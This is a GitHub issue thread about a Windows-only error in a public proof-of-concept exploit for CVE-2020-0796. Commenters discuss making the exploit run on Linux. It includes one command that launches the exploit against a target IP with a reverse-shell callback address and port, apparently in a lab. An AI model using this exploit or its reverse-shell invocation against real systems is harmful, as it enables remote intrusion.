-
Notifications
You must be signed in to change notification settings - Fork 169
AttributeError: module 'ctypes' has no attribute 'windll' #6
Comments
The script is designed to run on Windows due to the way the You can try replacing it with a cross platform implementation, such as this one: |
Hi, Thank you for the swift response. |
Yes, that's one way. Another way is to use an alternative implementation of the compression which doesn't depend on Windows API. |
Noted and i will also try out the alternative implementation of the compression as stated above. You are awesome =) |
wish there was a version that would run on linux like kali. |
Oh no! Only use in windows? |
i have a question i am getting an error (module 'ctypes' has no attribute 'windll' ) on colab when i am import pyditectinput can you help me out on this. Does this has anything to do with a VM |
have you found any alternative implementation to use with Ubuntu? could you please suggest if any come across? |
have you resolved this as i have run into the same error? |
Hi,
i have received this error message after executed the SMBleedingGhost.py script and the output of the error message is:
root@attackerpc:/home/labadmin/Desktop/CVE-2020-0796-RCE-POC-master# python3.8 SMBleedingGhost.py 192.168.75.131 192.168.75.129 4444
CVE-2020-0796 Remote Code Execution POC
(c) 2020 ZecOps, Inc.
Traceback (most recent call last):
File "SMBleedingGhost.py", line 909, in
exploit(target_ip, reverse_shell_ip, int(reverse_shell_port))
File "SMBleedingGhost.py", line 854, in exploit
allocation_pool_object_ptr = leak_allocation_pool_object_ptr(ip_address)
File "SMBleedingGhost.py", line 522, in leak_allocation_pool_object_ptr
address = leak_ptr(ip_address, ptr_offset, ptr_list)
File "SMBleedingGhost.py", line 480, in leak_ptr
byte_value = leak_ptr_byte(ip_address, ptr_offset + byte_index, ptr_list)
File "SMBleedingGhost.py", line 454, in leak_ptr_byte
if leak_if_ptr_byte_larger_than_value(ip_address, byte_offset, ptr_list, mid):
File "SMBleedingGhost.py", line 414, in leak_if_ptr_byte_larger_than_value
data = b'B'*offset + compress(payload)
File "SMBleedingGhost.py", line 272, in compress
RtlCompressBuffer = ctypes.windll.ntdll.RtlCompressBuffer
AttributeError: module 'ctypes' has no attribute 'windll'
root@attackerpc:/home/labadmin/Desktop/CVE-2020-0796-RCE-POC-master#
Please help and i would appreciate the assistance. =)
The text was updated successfully, but these errors were encountered: